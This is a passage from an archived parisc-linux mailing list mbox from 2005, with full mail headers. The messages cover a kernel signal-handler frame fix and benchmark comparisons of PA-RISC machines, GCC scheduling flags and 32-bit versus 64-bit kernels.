Subject: Re: [parisc-linux] Re: gsyprf11 and 2.6.13-rc3-pa1
Date: Tue, 16 Aug 2005 20:08:37 -0400 (EDT)
Lines: 23
Approved: news@gmane.org
Message-ID: <200508170008.j7H08bKU026983@hiauly1.hia.nrc.ca>
References: <43027D73.80906@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623899 16424 80.91.229.3 (22 Nov 2014 02:38:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:19 +0000 (UTC)
Cc: James.Bottomley@SteelEye.com,
 parisc-linux@lists.parisc-linux.org,
 tsg45800@scarlet.be
To: randolph@tausq.org (Randolph Chung)
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Aug 2005 00:08:58 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx053) with SMTP; 17 Aug 2005 02:08:58 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 98C207D68B;
	Tue, 16 Aug 2005 18:08:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12144-06; Tue, 16 Aug 2005 18:08:54 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 009A07D68D;
	Tue, 16 Aug 2005 18:08:54 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1DDB17D685
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Aug 2005 18:08:46 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12144-02 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Aug 2005 18:08:45 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 77B507D681
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Aug 2005 18:08:45 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j7H08bnV026984; Tue, 16 Aug 2005 20:08:38 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j7H08bKU026983;
	Tue, 16 Aug 2005 20:08:37 -0400 (EDT)
In-Reply-To: <43027D73.80906@tausq.org> from "Randolph Chung" at Aug 17,
	2005 07:57:39 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: TOVwY/NleSEkR76WZHQhaXN1IGRvbwCI
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23081

> >>Is the kernel responsible for blocking SIGSEGV handlers that generate
> >>SIGSEGV?
> > 
> > See http://www.opengroup.org/onlinepubs/009695399/functions/signal.html.
> > 
> > This is implementation defined.
> 
> James spotted where we were not doing the right thing when setting up a 
> signal handler frame. I've checked in his suggested fix to 
> 2.6.13-rc6-pa2. I think it should solve the problem.

We also don't seem to be using force_sigsegv.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kurt Fitzner <kfitzner@excelcia.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B132L outperforms C160 - 64-bit userland needed?
Date: Tue, 16 Aug 2005 18:03:35 -0600
Lines: 46
Approved: news@gmane.org
Message-ID: <43027ED7.10007@excelcia.org>
References: <4301B090.9040405@excelcia.org>
	<200508160800.29307.mszick@morethan.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623899 16426 80.91.229.3 (22 Nov 2014 02:38:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:19 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Aug 2005 00:09:13 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx038) with SMTP; 17 Aug 2005 02:09:13 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A370F7D6A1;
	Tue, 16 Aug 2005 18:09:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12383-02; Tue, 16 Aug 2005 18:09:10 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 31E007D72F;
	Tue, 16 Aug 2005 18:09:09 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EECA87D692
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Aug 2005 18:09:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12144-09 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Aug 2005 18:09:05 -0600 (MDT)
Original-Received: from pd3mo2so.prod.shaw.ca (shawidc-mo1.cg.shawcable.net
	[24.71.223.10])
	by free.linux.hp.com (Postfix) with ESMTP id 57EF47D685
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Aug 2005 18:09:05 -0600 (MDT)
Original-Received: from pd4mr5so.prod.shaw.ca (pd4mr5so-qfe3.prod.shaw.ca [10.0.141.50])
	by l-daemon (Sun ONE Messaging Server 6.0 HotFix 1.01 (built Mar 15
	2004)) with ESMTP id <0ILC006UBAU1IP20@l-daemon> for
	parisc-linux@lists.parisc-linux.org;
	Tue, 16 Aug 2005 18:03:37 -0600 (MDT)
Original-Received: from pn2ml6so.prod.shaw.ca ([10.0.121.150])
	by pd4mr5so.prod.shaw.ca (Sun ONE Messaging Server 6.0 HotFix 1.01
	(built Mar
	15 2004)) with ESMTP id <0ILC00MDIAU1YJ10@pd4mr5so.prod.shaw.ca> for
	parisc-linux@lists.parisc-linux.org;
	Tue, 16 Aug 2005 18:03:37 -0600 (MDT)
Original-Received: from guardian.excelcia.org ([68.149.196.244])
	by l-daemon (iPlanet Messaging Server 5.2 HotFix 1.18 (built Jul 28
	2003)) with ESMTP id <0ILC00635AU0NM@l-daemon> for
	parisc-linux@lists.parisc-linux.org;
	Tue, 16 Aug 2005 18:03:36 -0600 (MDT)
Original-Received: from [192.168.200.13] (frisket.excelcia.org [192.168.200.13])
	by guardian.excelcia.org (8.13.3/8.13.3) with ESMTP id
	j7H03Zml013244	for
	<parisc-linux@lists.parisc-linux.org>; Tue, 16 Aug 2005 18:03:36 -0600
In-reply-to: <200508160800.29307.mszick@morethan.org>
X-Accept-Language: en-us, en
Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAMAAABg3Am1AAAAQlBMVEUIEQ8THRofGw4lLyc0
	LRBLJhxhQzVGTkRiZFWSUkSfUzesS0CBYVB6hnS5bV3Bbk/PaVapgW7uhW6WraG42c6+4NXI/Dbc
	AAACM0lEQVR42tWU23qkIBCEQVRolIOi7/+qWw14yoxk93LbSfJNqL+rOIjY/7HEfwFstf4WYG1y
	XCltvwNZbjTKaGNM+g1gvdOloDfabU0AwTdT5KpiOjWAQ69QB6L09gqUPCYj48g/KKBvQM1v5nks
	ReQJRO++A1sOZKCHbh7JxzV67wH26Q3gQKyPPsa4coUAj9G0AajDelRgi7kJLP7sf1i8OuwJAHKf
	8gq41qRh4NcHMDci7SZHWn84LC2HeX5YMDC41hxAgIHUe/K5xt697fSeWI2NJhBE/BdFdmkCIx4i
	7DIIIgrBTu/AxgZ8hChEy91tQMWlcfjmhWOAweZBGlcG0uvx3l3ZaGvjdZpi3N6BhKMHgOy6ThMT
	MdjHnD9fIA7DkTxN8GCzpfUCIZP3IQM+5GnY+fs7fVxeiXeacq6AUAg0py/Adt52yWBZKUcisgxQ
	p7S7rjTx0IPAy2lpyNDEm0aDQEllXDqBu37DeUDXiSuywdBBjqfrOu0K8NBrNQxkWR54xsT6bAGg
	51MoHvqkoB8Gbp5XaDj0GVA97g/x0GfnrqsE2h96EFLCok8XsO9O5qFCTMT6ByAVPMQtvqxjTKDY
	S96ADh91Avum8L9zOCe72h8WslfinO5dn4fFs7JDV4GiL3Vv+OEA13K75O/qofnhIPM6YbwuT14D
	9ZHj1r+mEny3yLJmKiMNKGO1vSxqJWUL4Zy6zlYVseKDJuRrKiFqjOvXe/vSSGl1pf9Fz/UHUt53
	+mfdrmkAAAAASUVORK5CYII=
X-Enigmail-Version: 0.92.0.0
X-Virus-Scanned: ClamAV version 0.85.1,
	clamav-milter version 0.85 on guardian.excelcia.org
X-Virus-Status: Clean
User-Agent: Mozilla Thunderbird 1.0.6 (Windows/20050716)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: feVwY1wkeSEkVL6WZHQhaXN1IGRvbwCo
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23082

Michael S. Zick wrote:

>>When that produced even worse results, I tried -march=2.0 vs 1.1 and
>>-mschedule=8000 vs 7300 seperately.  Each one alone slows down the
>>benchmark and the effect is addititive.  It seems that in Linux, right
>>now at least, compiling with -march=2.0 or -mschedule=8000 is a Bad Thing.
>>
> 
> It would be interesting to see if this also holds with a newer GCC.
> (3.4, 4.0, 4.1)

I can't see how it would be different.  Isn't compiling for PA2.0/8000
in Linux tying of GCC's hands behind its back.  You're telling it you
want good code for a 64-bit CPU, but it can't produce 64-bit code.

Is there any real possibility that this is compiler-related and not
simply a 32 vs. 64 bit issue?  If there is a real chance of this, I'll
bite the bullet and actually test out newer GCC versions.

> Try the same version kernel on both machines - you might just be seeing
> the difference between 2.6.8 and 2.6.10. (or 32bit and 64bit kernels).

I've installed 2.6.8.1 on the C160 to match the B132L.  I'm seeing a 2%
increase in speed across the board with the different kernel.  I
attribute this to my having set the CPU to 7300 in the kernel settings.
 The speed increase is exactly consistent with the difference I see in
executables on my C160 when compiled with -march1.1/-mschedule=7300
rather than 2.0/8000.  The C160 still underperforms significantly when
compared to the B132L.

I have not yet compiled a 64-bit kernel for my C160.  All advice I have
read is that this is a complete waste of time since without a 64-bit
userland it will just make the kernel bigger and slower.  Is there
likely to be any benefit at all to a 64-bit kernel?

> Also, what compiler was used to build the kernel.

Same as used to build nBench, gcc 3.3.5 (Debian 1:3.3.5-13).

	Kurt.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: gsyprf11 and 2.6.13-rc3-pa1
Date: Tue, 16 Aug 2005 20:50:42 -0400 (EDT)
Lines: 18
Approved: news@gmane.org
Message-ID: <200508170050.j7H0ogYY027169@hiauly1.hia.nrc.ca>
References: <200508170008.j7H08bKU026983@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623900 16428 80.91.229.3 (22 Nov 2014 02:38:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:20 +0000 (UTC)
Cc: James.Bottomley@SteelEye.com,
 parisc-linux@lists.parisc-linux.org,
 tsg45800@scarlet.be
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Aug 2005 00:50:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx066) with SMTP; 17 Aug 2005 02:50:57 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 237207D736;
	Tue, 16 Aug 2005 18:50:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12704-01; Tue, 16 Aug 2005 18:50:52 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CB1B17D72E;
	Tue, 16 Aug 2005 18:50:51 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0F6F07D724
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Aug 2005 18:50:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12385-08 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Aug 2005 18:50:44 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 680CA7D717
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Aug 2005 18:50:44 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j7H0ohnV027170; Tue, 16 Aug 2005 20:50:43 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j7H0ogYY027169;
	Tue, 16 Aug 2005 20:50:42 -0400 (EDT)
In-Reply-To: <200508170008.j7H08bKU026983@hiauly1.hia.nrc.ca> from "John David
	Anglin" at Aug 16, 2005 08:08:37 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: puxwY80ueSEkML6WZHQhaXN1IGRvb0Au
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23083

> > James spotted where we were not doing the right thing when setting up a 
> > signal handler frame. I've checked in his suggested fix to 
> > 2.6.13-rc6-pa2. I think it should solve the problem.
> 
> We also don't seem to be using force_sigsegv.

Doh, I should have looked at your change before mailing!

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B132L outperforms C160 - 64-bit userland needed?
Date: Tue, 16 Aug 2005 21:32:03 -0400 (EDT)
Lines: 62
Approved: news@gmane.org
Message-ID: <200508170132.j7H1W4Sq027309@hiauly1.hia.nrc.ca>
References: <43027ED7.10007@excelcia.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623900 16430 80.91.229.3 (22 Nov 2014 02:38:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: kfitzner@excelcia.org (Kurt Fitzner)
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Aug 2005 01:32:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx037) with SMTP; 17 Aug 2005 03:32:26 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BE2467D734;
	Tue, 16 Aug 2005 19:32:23 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12646-09; Tue, 16 Aug 2005 19:32:23 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B9DEF7D736;
	Tue, 16 Aug 2005 19:32:22 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E36BC7D733
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Aug 2005 19:32:19 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12646-06 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Aug 2005 19:32:19 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 3ED567D732
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Aug 2005 19:32:19 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j7H1W4nV027310; Tue, 16 Aug 2005 21:32:04 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j7H1W4Sq027309;
	Tue, 16 Aug 2005 21:32:04 -0400 (EDT)
In-Reply-To: <43027ED7.10007@excelcia.org> from "Kurt Fitzner" at Aug 16,
	2005 06:03:35 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: /PZwY/Y0eSEkV76WZHQhaXN1IGRvbwDO
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23084

> >>When that produced even worse results, I tried -march=2.0 vs 1.1 and
> >>-mschedule=8000 vs 7300 seperately.  Each one alone slows down the
> >>benchmark and the effect is addititive.  It seems that in Linux, right
> >>now at least, compiling with -march=2.0 or -mschedule=8000 is a Bad Thing.
> >>

In theory, -mschedule=8000 should only be used on machines with PA 2.0
processors (i.e., not the B132L).  It is tweaked to the number of execution
units, etc, in the PA 2.0 processor.  How much difference this makes in the
real world is not clear.  I haven't seen any numbers.  As far as the
models themselves, they haven't changed since they were added by Jeff
Law somewhere around GCC 3.0.  It would be interesting to see how they
compare on the same cpu, same os, etc.

As far PA 2.0 versus 1.1, the main differences affecting 32-bit code
are some new branch instructions.  There are also some new FP instructions
but these are somewhat compromised by linker bugs.  In non floating-point
code, I would expect the PA 2.0 features to make their presence felt
in code with large functions.

> > It would be interesting to see if this also holds with a newer GCC.
> > (3.4, 4.0, 4.1)

There have been a lot of optimization improvements in GCC since 3.3.
It would be useful to see how effective they are in real applications
and in benchmark performance.  As far as the PA backend goes, there
haven't been any major performance improvements added since 3.3.  The
changes mainly are bug fixes.

> I can't see how it would be different.  Isn't compiling for PA2.0/8000
> in Linux tying of GCC's hands behind its back.  You're telling it you
> want good code for a 64-bit CPU, but it can't produce 64-bit code.
> 
> Is there any real possibility that this is compiler-related and not
> simply a 32 vs. 64 bit issue?  If there is a real chance of this, I'll
> bite the bullet and actually test out newer GCC versions.

64-bit code isn't going to make your apps run faster.  There is more
overhead in data accesses in 64-bit code (i.e., they go through the DLT)
than in 32-bit apps.  Also, a lot more sign extensions are needed.  In
terms of a GCC build, the difference is about 15-20%.  The 64-bit tools
are less mature.  So generally, you only want to use 64-bit apps when
they can benefit from the larger address space.

> I have not yet compiled a 64-bit kernel for my C160.  All advice I have
> read is that this is a complete waste of time since without a 64-bit
> userland it will just make the kernel bigger and slower.  Is there
> likely to be any benefit at all to a 64-bit kernel?

I doubt it.  You only want to use a 64-bit kernel when you have a machine
with lots of memory.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@morethan.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B132L outperforms C160 - 64-bit userland needed?
Date: Tue, 16 Aug 2005 20:48:34 -0500
Lines: 72
Approved: news@gmane.org
Message-ID: <200508162048.35131.mszick@morethan.org>
References: <200508170132.j7H1W4Sq027309@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-2022-jp"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623900 16433 80.91.229.3 (22 Nov 2014 02:38:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:20 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Aug 2005 01:48:49 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx014) with SMTP; 17 Aug 2005 03:48:49 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1A3F37D73D;
	Tue, 16 Aug 2005 19:48:47 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13041-06; Tue, 16 Aug 2005 19:48:46 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 17A927D73E;
	Tue, 16 Aug 2005 19:48:46 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
